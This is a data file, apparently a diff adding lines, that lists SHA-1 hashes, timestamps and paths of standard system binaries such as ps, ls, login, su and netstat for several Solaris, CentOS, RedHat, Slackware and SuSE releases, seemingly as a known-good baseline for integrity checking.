+EF26E24E652C292CBDFD1EF464FD7D955873B4AF Thu Jun 8 16:08:34 2000 /usr/sbin/in.tftpd [Solaris 2.8 Generic] +0FEF59829F351F8CBC6CFF81A666AD4E4F231412 Mon Jul 10 11:22:22 2000 /usr/sbin/in.rshd [Solaris 2.8 Generic] +DC85437325E387F620F7590D83E168A5503C5240 Thu Mar 16 10:53:31 2000 /sbin/su [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/w [Solaris 2.8 Generic] +26AE2C712489D10314105EDCC87E6610B5F93D1F Thu Jan 6 00:01:10 2000 /usr/ucb/telnet [Solaris 2.8 Generic] +5868461A336F082069D6421E9E311AA477A301C2 Thu Jan 6 00:01:00 2000 /usr/ucb/netstat [Solaris 2.8 Generic] + +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /bin/ps [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /bin/w [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/bin/ps [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/bin/w [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/ucb/ps [Solaris 2.9 Generic] +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /bin/find [Solaris 2.9 Generic] +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /usr/bin/find [Solaris 2.9 Generic] +E5621B75E4EA4D72562EE8EE29224D5CAADFEB0B Sat Apr 6 22:54:09 2002 /bin/login [Solaris 2.9 Generic] +E5621B75E4EA4D72562EE8EE29224D5CAADFEB0B Sat Apr 6 22:54:09 2002 /usr/bin/login [Solaris 2.9 Generic] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /bin/ls [Solaris 2.9 Generic] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /usr/bin/ls [Solaris 2.9 Generic] +8F94850F142E1554561F907E7CC17596A938C150 Sat Apr 6 22:54:08 2002 /usr/sbin/in.ftpd [Solaris 2.9 Generic] +BB95633DAE430C11071602962D09624C1D7EE943 Sat Apr 6 22:55:34 2002 /usr/bin/sparcv9/ls [Solaris 2.9 Generic] +CF7DF79A9D858ED2A2FF58D54BD8E7D7DEDFCD8C Sat Apr 6 22:58:29 2002 /bin/netstat [Solaris 2.9 Generic] +CF7DF79A9D858ED2A2FF58D54BD8E7D7DEDFCD8C Sat Apr 6 22:58:29 2002 /usr/bin/netstat [Solaris 2.9 Generic] +34174F5C3EF0844676AEC8751A41C39968633E5C Sat Apr 6 22:59:18 2002 /usr/sbin/modinfo [Solaris 2.9 Generic] +D420D0D50AE151063A670D3B025D90CA0A08117D Sat Apr 6 23:02:03 2002 /usr/sbin/arp [Solaris 2.9 Generic] +B19E9EED9961B53A2C246EBC60963A0CFBF0C38F Sat Apr 6 23:02:58 2002 /bin/rm [Solaris 2.9 Generic] +B19E9EED9961B53A2C246EBC60963A0CFBF0C38F Sat Apr 6 23:02:58 2002 /usr/bin/rm [Solaris 2.9 Generic] +1A47EE8059E33D1BF8C062320FA60AEDB69C47D2 Sat Apr 6 23:02:06 2002 /usr/sbin/in.rlogind [Solaris 2.9 Generic] +AF56C1CE8765671A069F417B4B50088EE219B05A Sat Apr 6 23:02:06 2002 /usr/sbin/in.rshd [Solaris 2.9 Generic] +8FA58E43B30794F21592601AA8464697FA290D7D Sat Apr 6 23:02:17 2002 /usr/bin/sparcv7/ps [Solaris 2.9 Generic] +61CF8350644C30E9290D79E37A53C8702A4E9597 Sat Apr 6 23:02:05 2002 /usr/sbin/in.tftpd [Solaris 2.9 Generic] +EE73B814205BE38EA3C3E529E303A27E2B10860B Sat Apr 6 23:02:07 2002 /usr/sbin/in.telnetd [Solaris 2.9 Generic] +310F1B04B6AFD36966DC848FC76C661936211020 Sat Apr 6 23:02:52 2002 /usr/bin/sparcv9/ps [Solaris 2.9 Generic] +9F04E8CA68941CF9B3A93614441CBAA93205A9E8 Sat Apr 6 23:02:07 2002 /usr/sbin/inetd [Solaris 2.9 Generic] +91028D726B9B1B7B05D6DEF35D75231B58653A2C Sat Apr 6 23:04:55 2002 /sbin/sh [Solaris 2.9 Generic] +3E3E6D19247980E8BEAC52497E7CDFD0AE72FE93 Sat Apr 6 23:04:53 2002 /bin/sh [Solaris 2.9 Generic] +3E3E6D19247980E8BEAC52497E7CDFD0AE72FE93 Sat Apr 6 23:04:53 2002 /usr/bin/sh [Solaris 2.9 Generic] +77C3F1AB55FED64FB912B4CFF31E864CE60D7CE8 Sat Apr 6 23:08:47 2002 /bin/su [Solaris 2.9 Generic] +77C3F1AB55FED64FB912B4CFF31E864CE60D7CE8 Sat Apr 6 23:08:47 2002 /usr/bin/su [Solaris 2.9 Generic] +32353A375C53C78F73C844453568E49171C4E7DA Sat Apr 6 23:13:04 2002 /usr/bin/sparcv7/w [Solaris 2.9 Generic] +5B435DF91C5A21326D42DDEF81E65F3B50571F08 Sat Apr 6 23:13:15 2002 /usr/bin/sparcv9/w [Solaris 2.9 Generic] +950715ABC9A55EAB0281DC0653ECD10D59DAEB50 Sat Apr 6 23:26:46 2002 /usr/ucb/ls [Solaris 2.9 Generic] +77C3F1AB55FED64FB912B4CFF31E864CE60D7CE8 Sat Apr 6 23:08:47 2002 /sbin/su [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/ucb/w [Solaris 2.9 Generic] +50A3A005BAA5B766ABCDB3C40B8FE2BEB8F6F167 Wed Dec 8 23:19:48 2010 /usr/ucb/telnet [Solaris 2.9 Generic] +CF7DF79A9D858ED2A2FF58D54BD8E7D7DEDFCD8C Sat Apr 6 22:58:29 2002 /usr/ucb/netstat [Solaris 2.9 Generic] +50A3A005BAA5B766ABCDB3C40B8FE2BEB8F6F167 Wed Dec 8 23:19:48 2010 /bin/telnet [Solaris 2.9 Generic] +50A3A005BAA5B766ABCDB3C40B8FE2BEB8F6F167 Wed Dec 8 23:19:48 2010 /usr/bin/telnet [Solaris 2.9 Generic] + +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.5 x86_64] +BFD72758D4A23A7C5106C273BC77C35B6D14A259 Thu Sep 3 18:06:19 2009 /usr/bin/find [CentOS 5.5 x86_64] +EF5E342FAEFF338DE5C5B4632277F27B26230EED Wed Jan 20 10:36:32 2010 /bin/login [CentOS 5.5 x86_64] +C3F025CD1845B78005004AC3FE9679138E3E8935 Tue Jan 26 23:41:20 2010 /sbin/arp [CentOS 5.5 x86_64] +E839B848023E061A60C24361ABBFAEC2E5F34263 Tue Jan 26 23:41:20 2010 /bin/netstat [CentOS 5.5 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Sun Feb 28 22:25:58 2010 /bin/su [CentOS 5.5 x86_64] +146E337FF3F71CB2AF358C25DD79BDBF5D60307A Sun Feb 28 22:26:02 2010 /bin/rm [CentOS 5.5 x86_64] +77F89EB0E11F017ACBE36D90CDCBFFE70D539AA6 Sun Feb 28 22:26:02 2010 /bin/ls [CentOS 5.5 x86_64] +8EAEE59817BF621BF3E24A46ACC9E15AFBD66B91 Wed Mar 31 04:59:05 2010 /usr/bin/w [CentOS 5.5 x86_64] +84DA0A8298BFC1B872FEEA23B2F468558E9F2241 Wed Mar 31 04:59:05 2010 /bin/ps [CentOS 5.5 x86_64] +B7A6867374B3FBF4C83F0D3696BB64B436E481F8 Wed Mar 31 07:06:26 2010 /sbin/modinfo [CentOS 5.5 x86_64] +FA7EA33A3AD4202B830915906344C970B7F2B358 Thu Jan 22 01:15:24 2009 /bin/sh [CentOS 5.5 x86_64] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 10.2] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /bin/rm [Slackware 10.2] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /bin/ls [Slackware 10.2] +C9A1135F97D7A76C9AEEFE41FF8FA444AD73841E Mon Jun 21 19:20:52 2004 /bin/su [Slackware 10.2] +9770FAD790FE4980560391ABEDA976753D7322EB Mon Jun 21 19:20:52 2004 /bin/login [Slackware 10.2] +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 10.2] +A1B7903529A1D68D3817871C47AEB5AA139228B3 Sun Jan 2 01:27:21 2005 /sbin/modinfo [Slackware 10.2] +F191417F9B675623AA8A477DA36124D4E12F506F Thu Jul 14 05:14:10 2005 /usr/sbin/vsftpd [Slackware 10.2] +4898DFB7760DA840F293377882E69620B93B5F72 Wed Aug 3 05:33:20 2005 /usr/sbin/proftpd [Slackware 10.2] +5729C58698AA5D7C7A031DA3B06304DEFD922AA5 Tue Aug 30 02:03:01 2005 /usr/bin/w [Slackware 10.2] +CF66EDB1A0662F3F191566F7370EC178E543BDEB Tue Aug 30 02:03:01 2005 /bin/ps [Slackware 10.2] +69D51862C2306CCAF5A5E5F7A2A12366F9BABB82 Wed Sep 7 20:45:49 2005 /usr/sbin/in.rshd [Slackware 10.2] +022962A3261303200BB1A4BDA940A43CD5F427B6 Wed Sep 7 20:45:49 2005 /usr/sbin/in.rlogind [Slackware 10.2] +59397F872BF8BE07DAB26D56EEB1929C288ABF42 Wed Sep 7 20:45:59 2005 /usr/sbin/in.telnetd [Slackware 10.2] +7268E1BB083B7BCD497EEC415F68CDFCA79302EE Wed Sep 7 20:45:14 2005 /sbin/arp [Slackware 10.2] +2B681986C0A4F42A7537BA2120DCE92BF985AD68 Wed Sep 7 20:45:14 2005 /bin/netstat [Slackware 10.2] +FF3B40552907553B3EE1F34779DE2826C9F148ED Wed Sep 7 20:46:23 2005 /usr/sbin/in.tftpd [Slackware 10.2] +4D52968DF589AC12625A182BCA385B96A5C25CAE Wed Sep 7 20:46:05 2005 /bin/telnet [Slackware 10.2] +BD819DDD5A3716FD183E3933E77D700070EA9965 Sat Sep 10 19:46:58 2005 /bin/sh [Slackware 10.2] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /usr/bin/ls [Slackware 10.2] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /usr/bin/rm [Slackware 10.2] +CF66EDB1A0662F3F191566F7370EC178E543BDEB Tue Aug 30 02:03:01 2005 /usr/bin/ps [Slackware 10.2] +4898DFB7760DA840F293377882E69620B93B5F72 Wed Aug 3 05:33:20 2005 /usr/sbin/in.proftpd [Slackware 10.2] + +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.6 x86_64] +EB35751E15775E79140AF3E4D34F21287991F337 Thu Sep 3 18:06:19 2009 /usr/bin/find [CentOS 5.6 x86_64] +A99619EA3E8A83432DC33A9183ACEB3736664314 Tue Jan 26 23:41:20 2010 /sbin/arp [CentOS 5.6 x86_64] +FD13DB47F9516B6F82404BE486F62B58DF20A007 Tue Jan 26 23:41:20 2010 /bin/netstat [CentOS 5.6 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Sun Feb 28 22:25:58 2010 /bin/su [CentOS 5.6 x86_64] +441B6B87023A86549EA568AC8433C8EE0E2F15A1 Sun Feb 28 22:26:02 2010 /bin/rm [CentOS 5.6 x86_64] +D88BFA04749A4331A26482AB2C30FDB933D03663 Sun Feb 28 22:26:02 2010 /bin/ls [CentOS 5.6 x86_64] +1182038CC7E57245DE0EAF3E1C5088CC28F585B7 Wed Mar 31 04:59:05 2010 /usr/bin/w [CentOS 5.6 x86_64] +07193D4388C2E56EF2B48D13CCE0E93F99830549 Wed Mar 31 04:59:05 2010 /bin/ps [CentOS 5.6 x86_64] +C3378FF3E8203B5F6853A2FE26CD82A72550EB69 Mon Oct 11 11:31:17 2010 /sbin/modinfo [CentOS 5.6 x86_64] +F93623F7BDFCA3E538BDBA60E8961CC58DA506DF Thu Mar 10 13:32:54 2011 /bin/login [CentOS 5.6 x86_64] +8FCE34FB5081D92029EBAA4AF0C81AE14961995C Thu Jan 22 01:15:24 2009 /bin/sh [CentOS 5.6 x86_64] + +653F929CFB6DD275736B887C5D6C460D437A9650 Sat Feb 21 01:23:19 2009 /usr/bin/telnet [SuSE Enterprise 11.0 x86_64] +CF7D0FDC62FE8273B1F235C45A1CD03E8F440502 Sat Feb 21 01:24:43 2009 /sbin/modinfo [SuSE Enterprise 11.0 x86_64] +B86CB9ACA8176D6F2157E75E1F9325904B503468 Sat Feb 21 01:28:10 2009 /sbin/arp [SuSE Enterprise 11.0 x86_64] +75134169548AF6268FDEBC62685DB1A12EFC5471 Sat Feb 21 01:28:10 2009 /bin/netstat [SuSE Enterprise 11.0 x86_64] +AEF68044D1757B9E9FF3E9D7384E9703E8A5A54B Sat Feb 21 01:30:08 2009 /usr/bin/w [SuSE Enterprise 11.0 x86_64] +F234252C2577725D37F95207927DE180F85DDDC8 Sat Feb 21 01:30:08 2009 /bin/ps [SuSE Enterprise 11.0 x86_64] +D5D2CF22B05D9179590B6E925A8A46DF62F0C7B5 Sat Feb 21 01:30:13 2009 /usr/bin/find [SuSE Enterprise 11.0 x86_64] +4EFD87B9466C1E0733F46D9C3C12B87410F00556 Sat Feb 21 02:29:49 2009 /usr/sbin/in.tftpd [SuSE Enterprise 11.0 x86_64] +E2E8EF34264DC112FABE4B43D9EC8CD88055FE5C Sat Feb 21 02:30:22 2009 /usr/sbin/xinetd [SuSE Enterprise 11.0 x86_64] +91DE479B5DC777963993077AD28EAF188CA932EB Sat Feb 21 07:45:51 2009 /bin/login [SuSE Enterprise 11.0 x86_64] +8985A2CB3E370CE2872555A7A991C7D8590D1DF7 Sat Feb 21 07:45:58 2009 /usr/bin/opieftpd [SuSE Enterprise 11.0 x86_64] +8A48A0454A1AB0B75F7ADC11BF4B9C7402EE17B0 Sat Feb 21 07:49:50 2009 /bin/su [SuSE Enterprise 11.0 x86_64] +4B0FC111479E3EAA04AD959BCC4A37B2E72273D2 Sat Feb 21 07:49:50 2009 /bin/rm [SuSE Enterprise 11.0 x86_64] +F73A500A96B63BC0B720C21AAC72B0C63589F03F Sat Feb 21 07:49:50 2009 /bin/ls [SuSE Enterprise 11.0 x86_64] +9D95A62A9CEDE152E5C1EBD98A199FAC1CDED903 Mon Feb 23 20:56:30 2009 /usr/sbin/pure-ftpd [SuSE Enterprise 11.0 x86_64] +7E51FF81865664CDBD70C283A3B715521289F7D2 Sat Feb 21 01:26:34 2009 /bin/sh [SuSE Enterprise 11.0 x86_64] +7E51FF81865664CDBD70C283A3B715521289F7D2 Sat Feb 21 01:26:34 2009 /usr/bin/sh [SuSE Enterprise 11.0 x86_64] +F67A7231F392B95451E9554DCD12A8DC90BC9823 Mon Feb 23 20:56:29 2009 /usr/sbin/rcpure-ftpd [SuSE Enterprise 11.0 x86_64] +4F7719469820CE454672F8DDD45A5CB6A7924195 Sat Feb 21 02:30:21 2009 /usr/sbin/rcxinetd [SuSE Enterprise 11.0 x86_64] + +803A83F0A13F1AE53AA05CE28A31A5FE8E3FDDBB Thu Feb 17 23:48:17 2005 /sbin/modinfo [CentOS 4.2 x86_64] +154A69BD3517AAB324200F3868CEEC3557E29C93 Fri Feb 18 04:27:57 2005 /usr/bin/find [CentOS 4.2 x86_64] +94F445B0135263B5030156F44353878052587727 Sat Apr 9 17:31:02 2005 /sbin/arp [CentOS 4.2 x86_64] +56F4140D27154085511FB24A72834FE1940EBE57 Sat Apr 9 17:31:01 2005 /bin/netstat [CentOS 4.2 x86_64] +4D035E747FE179F433022BC04FFD2D7495F1552E Tue Jun 14 20:36:21 2005 /usr/bin/telnet [CentOS 4.2 x86_64] +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.2 x86_64] +2750F10D88A2CA37181A72632234597D847A0210 Fri Oct 7 21:11:18 2005 /bin/login [CentOS 4.2 x86_64] +4C2EC111F9F9960D81FBA628AC5883C930E6A0CD Fri Oct 7 22:01:47 2005 /usr/bin/w [CentOS 4.2 x86_64] +8CA247A5053A1DA27A0688A683A68A2FD5420AAF Fri Oct 7 22:01:47 2005 /bin/ps [CentOS 4.2 x86_64] +24B1404CBD99009124B82B48A7D999A98507DF43 Sat Oct 8 01:55:56 2005 /bin/su [CentOS 4.2 x86_64] +4AACB45BEE1BBA726E0615499C75003C5A2CD07D Sat Oct 8 01:56:00 2005 /bin/rm [CentOS 4.2 x86_64] +14FEF4E377B1DCB76D41BE538F0F470201B40F8D Sat Oct 8 01:56:00 2005 /bin/ls [CentOS 4.2 x86_64] +FCB2F947157E7767DBDE05517B851E4FD0820380 Fri Feb 18 01:30:32 2005 /bin/sh [CentOS 4.2 x86_64] + +D02B49C1A14CFC12AA16D11B92C6575D02733AD1 Wed Sep 27 07:59:21 2006 /usr/bin/find [CentOS 4.7] +48CE9EAE07855A22B257BCE2F52D9FC5F9A880AD Sat Nov 17 12:08:40 2007 /usr/bin/telnet [CentOS 4.7] +140B23C45812617044720E669D5EF1CD6DF13A85 Fri Jul 25 13:04:24 2008 /usr/sbin/xinetd [CentOS 4.7] +FB0F83433ED7EEEB2F51E064BCE9D5B81B58AE75 Fri Jul 25 15:00:47 2008 /sbin/arp [CentOS 4.7] +E67C3CFE1A50A0F382E6A5BBE9D1C4A63DE29FF3 Fri Jul 25 15:00:47 2008 /bin/netstat [CentOS 4.7] +9E3E47D1394FCC8CD3EC30CA39C42721CFC6DB3C Fri Jul 25 16:46:15 2008 /usr/bin/w [CentOS 4.7] +A5C657D1FE233DD2738E7FD795BC789C824FB1DD Fri Jul 25 16:46:15 2008 /bin/ps [CentOS 4.7] +9165628759D58E067ADDEA065F0BE98C3F996530 Fri Jul 25 20:10:50 2008 /bin/login [CentOS 4.7] +D26B814C8FC9F74C8ACA0B00C5766AD4F33DCA79 Fri Jul 25 20:28:08 2008 /sbin/modinfo [CentOS 4.7] +80993072C154DAF987A17B9942920166D18B6766 Sun Jul 27 02:26:49 2008 /bin/su [CentOS 4.7] +42637F660FC9C98782DC0744AC7BA39BE0822B92 Sun Jul 27 02:26:54 2008 /bin/rm [CentOS 4.7] +D598710B2BB49655D01B7A3887A40D0877F385FD Sun Jul 27 02:26:54 2008 /bin/ls [CentOS 4.7] +F823B02D438752F16AE763AC79A5CB989DA60440 Fri Jul 25 15:42:51 2008 /bin/sh [CentOS 4.7] + +7FA2AE9C7B71EFB0DE38B8BDE99F79AAEED6955A Tue Jan 16 14:49:59 2001 /bin/su [RedHat 7.1] +9AB81EFA9DF80179EFF69DE8BDFCB337B6E7EAAD Mon Jan 22 13:52:24 2001 /usr/bin/telnet [RedHat 7.1] +5D1B71D20A543702A564253AD8C0A6BA5F35B9D4 Fri Feb 9 04:29:07 2001 /usr/bin/find [RedHat 7.1] +B033CEBA357251BC66ABF81D88650CE742288B79 Fri Mar 9 16:47:13 2001 /sbin/modinfo [RedHat 7.1] +65A66D5F4618730DDD991E6C19DF0E407897B07D Wed Mar 14 16:42:17 2001 /bin/rm [RedHat 7.1] +AD4523F2B73A723D5B7E7BF9D120F99E27A34E43 Wed Mar 14 16:42:17 2001 /bin/ls [RedHat 7.1] +AEEF23810320E5845AF21E2FEF8FA1A2D96EDD0C Thu Apr 5 13:54:41 2001 /usr/bin/w [RedHat 7.1] +DE725303504A0936ACF3C9E0589E708809E1E1D1 Thu Apr 5 13:54:41 2001 /bin/ps [RedHat 7.1] +E5924081235D1451FDBFFB669B57C99DF49B1827 Sun Apr 8 14:12:03 2001 /bin/login [RedHat 7.1] +64FE5C2917673774551C3CA700B1ECFE47F0EF11 Sun Apr 8 15:17:31 2001 /sbin/arp [RedHat 7.1] +645ECF475315BD324A7F2C314EFEADB547DC2F3C Sun Apr 8 15:17:31 2001 /bin/netstat [RedHat 7.1] +5449579EEE3473AA5B0DA5554D279059F2268F98 Wed Feb 28 07:01:03 2001 /bin/sh [RedHat 7.1] + +C3122D6F939443449F93D6A640B196C623493F94 Thu Jul 13 01:22:12 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.2 x86_64] +452CFD0321768D87F4AD557CB047F112A16AC46C Thu Jul 13 16:07:56 2006 /usr/bin/find [RedHat Enterprise 5.2 x86_64] +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.2 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.2 x86_64] +F5B0C6F62623E3E5669EC746ADD3990D74C8F74A Fri Nov 30 12:45:03 2007 /bin/su [RedHat Enterprise 5.2 x86_64] +80802A91DD8C25C9AD4885E2B7B23B37384905E3 Fri Nov 30 12:45:06 2007 /bin/rm [RedHat Enterprise 5.2 x86_64] +347E7292D10D36549F33E9BFB60BDC80569B862B Fri Nov 30 12:45:06 2007 /bin/ls [RedHat Enterprise 5.2 x86_64] +47781846A2C98B0FB155DDFFCA0163390C4B727E Wed Jan 2 08:53:10 2008 /usr/bin/w [RedHat Enterprise 5.2 x86_64] +60F4BE05E1B03A5A4652E6D4AAD91F957E033D13 Wed Jan 2 08:53:10 2008 /bin/ps [RedHat Enterprise 5.2 x86_64] +8FD77641DAE4CEBA449E9F014F610EFAD337489D Thu Jan 17 17:47:07 2008 /sbin/modinfo [RedHat Enterprise 5.2 x86_64] +93E0E491E71BD00808B5259B3965FFB8AA934320 Mon Mar 3 18:49:13 2008 /bin/login [RedHat Enterprise 5.2 x86_64] +72479C51E0E365224524BBEAB64B5458C44FC7BA Fri Apr 18 09:54:05 2008 /sbin/arp [RedHat Enterprise 5.2 x86_64] +88520D3C5DCCE84687FAE71875F412F96C742BCD Fri Apr 18 09:54:05 2008 /bin/netstat [RedHat Enterprise 5.2 x86_64] +28829FEAA4A26003ABFBF555CDFCAF4D81093939 Fri Feb 1 11:44:32 2008 /bin/sh [RedHat Enterprise 5.2 x86_64] + +49A97EA365AE611C9B26C71489840FC79B9C011A Thu Jul 13 01:22:12 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.3 x86_64] +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.3 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.3 x86_64] +93DF01137D40B4821D8A034D70DEA965E222EBD6 Fri Apr 18 09:54:05 2008 /sbin/arp [RedHat Enterprise 5.3 x86_64] +C8ECD07DAD5E062B0477D146647AB60DBC959876 Fri Apr 18 09:54:05 2008 /bin/netstat [RedHat Enterprise 5.3 x86_64] +A09C8C2104DC5D65E5F181C1B9C3E963EA447DB4 Mon Jul 7 08:32:55 2008 /usr/bin/find [RedHat Enterprise 5.3 x86_64] +AA4B04C5C80870899C54CA23E354A32A1029B5EE Thu Oct 30 19:17:06 2008 /bin/su [RedHat Enterprise 5.3 x86_64] +AD3B0F96472F3A57BED8FD8499354C2D3F646FE4 Thu Oct 30 19:17:09 2008 /bin/rm [RedHat Enterprise 5.3 x86_64] +8BDF4C32CF95B53A5EE4E8A86EB4966CBB027478 Thu Oct 30 19:17:09 2008 /bin/ls [RedHat Enterprise 5.3 x86_64] +C93527D9A3B91336E343391D7A7CDBBA83EBB385 Tue Nov 11 17:23:44 2008 /sbin/modinfo [RedHat Enterprise 5.3 x86_64] +DD32C52189AAADE5A3E223C23406AE9C90425829 Tue Nov 25 23:15:26 2008 /bin/login [RedHat Enterprise 5.3 x86_64] +6292A3B64D955830D7CF7B55B82D7217AA323FAE Wed Dec 3 10:32:57 2008 /usr/bin/w [RedHat Enterprise 5.3 x86_64] +7CC21A0E1B718C5AB0BA48D1C10C27BA5226088F Wed Dec 3 10:32:57 2008 /bin/ps [RedHat Enterprise 5.3 x86_64] +C7EE4FE28EBA86EAB110931364562DD66E5E2361 Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.3 x86_64] + +4D035E747FE179F433022BC04FFD2D7495F1552E Tue Jun 14 20:36:21 2005 /usr/bin/telnet [CentOS 4.4 x86_64] +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.4 x86_64] +AAE3A92B32CC07DE9F8E7D9F3E368949B5CFBFC2 Thu Mar 9 09:36:07 2006 /sbin/modinfo [CentOS 4.4 x86_64] +4158611648BE1F5A91F27085044D3B28F10A6405 Tue Aug 15 01:36:17 2006 /bin/login [CentOS 4.4 x86_64] +DD7B40C8A6EE1E6D536F21A985CC34AC8268D725 Tue Aug 15 07:29:40 2006 /sbin/arp [CentOS 4.4 x86_64] +99A2FAF271BB6D0FE3CE9FEEA8BE72217DED0A74 Tue Aug 15 07:29:38 2006 /bin/netstat [CentOS 4.4 x86_64] +0F5264D4DCDE7418DC034A78A6A2409D8137EDA3 Tue Aug 15 19:57:26 2006 /bin/su [CentOS 4.4 x86_64] +8234E958F74314691530DDD140BAB90F0C94B1AA Tue Aug 15 19:57:43 2006 /bin/rm [CentOS 4.4 x86_64] +461DC4BE88C331A686C6EB925AB28B3AEB236D8D Tue Aug 15 19:57:43 2006 /bin/ls [CentOS 4.4 x86_64] +C10CE3A799B5189E002DF690F0A0DF801D417586 Wed Aug 23 18:24:29 2006 /usr/bin/w [CentOS 4.4 x86_64] +0FDAEFFE8E5F6610119FFCBE08C91E1FE05D14EC Wed Aug 23 18:24:30 2006 /bin/ps [CentOS 4.4 x86_64] +B0854108570857DCFF5AECC3F493E80A648C201B Wed Aug 23 18:41:04 2006 /usr/bin/find [CentOS 4.4 x86_64] +FEBE850391A2308E9F5AF41BF4A4A7A36DF6E476 Tue Aug 15 20:33:04 2006 /bin/sh [CentOS 4.4 x86_64] + +F2870B47240377CE4F50E2B6F62DD76103BADE01 Sun Jan 7 01:35:59 2007 /sbin/arp [CentOS 5.0 x86_64] +CD0EEC9BD4413396EE4A7AB714E2867C74348563 Sun Jan 7 01:35:59 2007 /bin/netstat [CentOS 5.0 x86_64] +797C4D210291F123AC22B74EB01DB8872989B0C4 Sun Jan 7 12:20:15 2007 /usr/bin/find [CentOS 5.0 x86_64] +D3F4E67DDC228F8693F747053D267CFFB6664479 Wed Mar 14 20:40:45 2007 /sbin/modinfo [CentOS 5.0 x86_64] +2079A5ABE78F8D83C59CA6B02F00AAA3E0316616 Wed Mar 14 23:01:13 2007 /usr/bin/w [CentOS 5.0 x86_64] +642FE8C4B885FF50C0B3C6CE09B4283766FB4B52 Wed Mar 14 23:01:13 2007 /bin/ps [CentOS 5.0 x86_64] +DB4216FBE5C3C984E8848EAAADA0AAAAE9AA50B3 Thu Mar 15 01:46:12 2007 /usr/bin/telnet [CentOS 5.0 x86_64] +31C8D8F011F4BD5A670E6E83F979B9D43859CA6F Thu Mar 15 02:30:33 2007 /bin/login [CentOS 5.0 x86_64] +299BE90CE120D677DD82C4CA4F5CF15EF1FA10AE Wed Mar 21 21:19:15 2007 /bin/su [CentOS 5.0 x86_64] +C41FA4A49A588194AF6DD7802D4C036D1795CF75 Wed Mar 21 21:19:18 2007 /bin/rm [CentOS 5.0 x86_64] +AD3B16C1677F197B6A9B77C632E42995114A6FF6 Wed Mar 21 21:19:18 2007 /bin/ls [CentOS 5.0 x86_64] +11FFBA6B432B2AEAB2F6FCD335AD4E4CD9D41BD8 Sat Jan 6 04:22:43 2007 /bin/sh [CentOS 5.0 x86_64] + +2215145018A8D11449B11F6733E7841A02E8BD95 Wed Sep 27 07:59:21 2006 /usr/bin/find [CentOS 4.8] +48CE9EAE07855A22B257BCE2F52D9FC5F9A880AD Sat Nov 17 12:08:40 2007 /usr/bin/telnet [CentOS 4.8] +140B23C45812617044720E669D5EF1CD6DF13A85 Fri Jul 25 13:04:24 2008 /usr/sbin/xinetd [CentOS 4.8] +FB0F83433ED7EEEB2F51E064BCE9D5B81B58AE75 Fri Jul 25 15:00:47 2008 /sbin/arp [CentOS 4.8] +E67C3CFE1A50A0F382E6A5BBE9D1C4A63DE29FF3 Fri Jul 25 15:00:47 2008 /bin/netstat [CentOS 4.8] +B0F430A1F68BE32C7A2335D723ED78A44D4C409F Mon Jun 1 18:00:38 2009 /sbin/modinfo [CentOS 4.8] +998FF4BCBB5F6AB9ABC41DD6E9F72731D04DE753 Mon Jun 1 18:14:42 2009 /bin/login [CentOS 4.8] +03E6617F47EDE1BAE882AEC72ACE46978723155C Mon Jun 1 18:37:46 2009 /usr/bin/w [CentOS 4.8] +C17521C8A507ECB291E265EC5A0059C46E242130 Mon Jun 1 18:37:46 2009 /bin/ps [CentOS 4.8] +51828647DA502400ED7D2CBC46FE934D3D5D7A39 Thu Jul 2 16:53:03 2009 /bin/su [CentOS 4.8] +CFCD06E219F3DA60A728B4ED70F845F7C6ABE0FA Thu Jul 2 16:53:07 2009 /bin/rm [CentOS 4.8] +85207087AEAFE67E94FB71330F52F0938BA0488C Thu Jul 2 16:53:07 2009 /bin/ls [CentOS 4.8] 